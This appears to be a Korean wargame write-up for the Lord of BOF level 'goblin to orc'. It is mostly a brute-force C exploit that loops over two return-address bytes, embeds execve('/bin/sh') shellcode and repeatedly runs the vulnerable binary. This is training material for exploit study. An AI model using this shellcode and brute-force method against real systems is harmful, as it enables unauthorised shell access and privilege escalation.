[BOF 원정대] goblin -> orc (level 4)

에그헌터와 스택 가드가 있다. 

직접 공격을 해도 되지만 좀 다르게 brute force 소스를 작성해서 풀어보도록 한다.

brute.c (단 최적화 되어있지 않으니 좀 더 빠른 속도를 원한다면 변경해서 사용하길 바람)

  #include <stdio.h> #include <string.h> unsigned char shell[48] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\xff\xbf"; int main () { int i, j; unsigned char brute[2]; unsigned char cmd[250]; for ( i=255 ; i>0 ; i-- ) { for ( j=255 ; j>0 ; j-- ) { brute[0]=j; brute[1]=i; memcpy(shell+44, brute, 2); sprintf(cmd, "perl -e 'system \"./orc\", \"%s\"'", shell); printf("%x %x %x %x\n", shell[44], shell[45], shell[46], shell[47]); system(cmd); } } }